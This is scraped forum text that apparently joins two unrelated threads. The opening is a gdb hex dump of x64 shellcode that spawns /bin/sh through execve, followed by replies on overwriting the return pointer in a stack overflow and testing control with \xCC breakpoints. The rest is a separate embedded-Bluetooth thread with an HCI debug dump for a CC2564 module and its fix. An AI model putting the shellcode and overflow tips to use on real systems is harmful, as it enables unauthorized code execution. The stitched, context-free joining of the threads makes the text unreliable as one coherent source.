0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
Well for starters... Are you entirely sure that the address on the stack is the return pointer and not a pointer to say a data structure or string somewhere? If that is the case it will use that address instead of the string and could just end up doing nothing :)
So check if your function uses local variables as these are put on the stack after the return address. Hope this helps ^_^ And good luck!
i haven't worked with x64 much , but a quick look says you have 16 bytes till rip overwrite.
instead of the \x90 try \xCC's to see if controlled code redirection has occured, if it has gdb should hit(land in the \xCC pool) the \xCC and pause (\xCC are in a way 'hardcoded' breakpoints).
I am trying to implement Bluetooth on an existing embedded device. The controller I’m using is the LS Research TiWi-uB2, which uses the Ti CC2564 dual mode IC. The host is a LPC2378 microcontroller. The device needs to be discoverable by other devices (Android devices & PCs for the moment). There is no ready made BT stack for this device which suits me needs (cost, static memory allocation, memory size) so I’m writing my own stack.
Going through Volume 2 Part E of the specification I eventually got meaningful communication on the HCI, but the device does not ever appear to be ‘discoverable’ by anything else. At this point I’m only using the BR/EDR features rather than the LE features.
Here is a debug dump of the HCI interface (including the UART packet types):
BT_Reset
Tx: 0x01 0x03 0x0C 0x00
Rx: 0x04 0x0E 0x04 0x01 0x03 0x0C 0x00
Device info
Tx: 0x01 0x01 0x10 0x00
Rx: 0x04 0x0E 0x0C 0x01 0x01 0x10 0x00 0x06 0x00 0x00 0x06 0x0D 0x00 0x0F 0x1B
Local supported commands
Tx: 0x01 0x02 0x10 0x00
Rx: 0x04 0x0E 0x44 0x01 0x02 0x10 0x00 0xFF 0xFF 0xFF 0x03 0xCE 0xFF 0xFF 0xFF 0xFF
Local supported features
Tx: 0x01 0x03 0x10 0x00
Rx: 0x04 0x0E 0x0C 0x01 0x03 0x10 0x00 0xFF 0xFE 0x2D 0xFE 0xDB 0xFF 0x7B 0x87
Get device address
Tx: 0x01 0x09 0x10 0x00
Rx: 0x04 0x0E 0x0A 0x01 0x09 0x10 0x00 0x81 0xA6 0xD3 0x2F 0x18 0x00
Address: 00 18 2F D3 A6 81
Read buffer size
Tx: 0x01 0x05 0x10 0x00
Rx: 0x04 0x0E 0x0B 0x01 0x05 0x10 0x00 0xFD 0x03 0xB4 0x04 0x00 0x04 0x00
ACL len = 1021
Write buffer size
Tx: 0x01 0x33 0x0C 0x07 0xFC 0x00 0x00 0x00 0x00 0x00 0x00
Rx: 0x04 0x0E 0x04 0x01 0x33 0x0C 0x00
Write local name
Tx: 0x01 0x13 0x0C 0x08 0x42 0x54 0x5F 0x54 0x65 0x73 0x74 0x00
Rx: 0x04 0x0E 0x04 0x01 0x13 0x0C 0x00
Read class of device
Tx: 0x01 0x23 0x0C 0x00
Rx: 0x04 0x0E 0x07 0x01 0x23 0x0C 0x00 0x14 0x01 0x08
Write class of device
Tx: 0x01 0x24 0x0C 0x03 0x14 0x01 0x08
Rx: 0x04 0x0E 0x04 0x01 0x24 0x0C 0x00
Write scan enabled
Tx: 0x01 0x1A 0x0C 0x01 0x03
Rx: 0x04 0x0E 0x04 0x01 0x1A 0x0C 0x00
Finished
I can also do link inquiry:
Tx: 0x01 0x01 0x04 0x05 0x33 0x8B 0x9E 0x0A 0x0A
Rx: 0x04 0x0F 0x04 0x00 0x01 0x01 0x04
…
Rx: 0x04 0x01 0x01 0x00
But it does not find any devices.
I’m sure I’m missing something fairly obvious out, but can’t see what it might be. I can't see that the CC2564 needs to be specially treated to run in BR/EDR mode, and all the defaults seem reasonable.
Update
The module needs an initialization script (aka 'service pack'). See https://code.google.com/p/btstack/wiki/MSP430GettingStarted under 'Init Scripts'. The good news is that with the script the module is now discoverable. The bad news is that according to LS Research my own stack would not be Bluetooth SIG complaint - I would have to use the Bluetopia stack. It seems that everything is geared heavily to using the Ti processor.
At this point I'll have to wait until the BR/EDR/BLE modules with a higher level interface come on line.
Bluetooth compliance is only needed, when you are using public profiles (SPP for example), or when you expose your device in a connectable manner for other devices in public (like headsets or keyboards). Shortly, qualification is only needed if you are selling your device on global market as a "Bluetooth" device (so you can use the logo)...at least in my understanding...
And the service pack does not contain any part of the stack, so its completely royalty free.
And there are no Bluetooth specific operations (even discovery) permitted before loading the service pack according to this document:
cc256x guide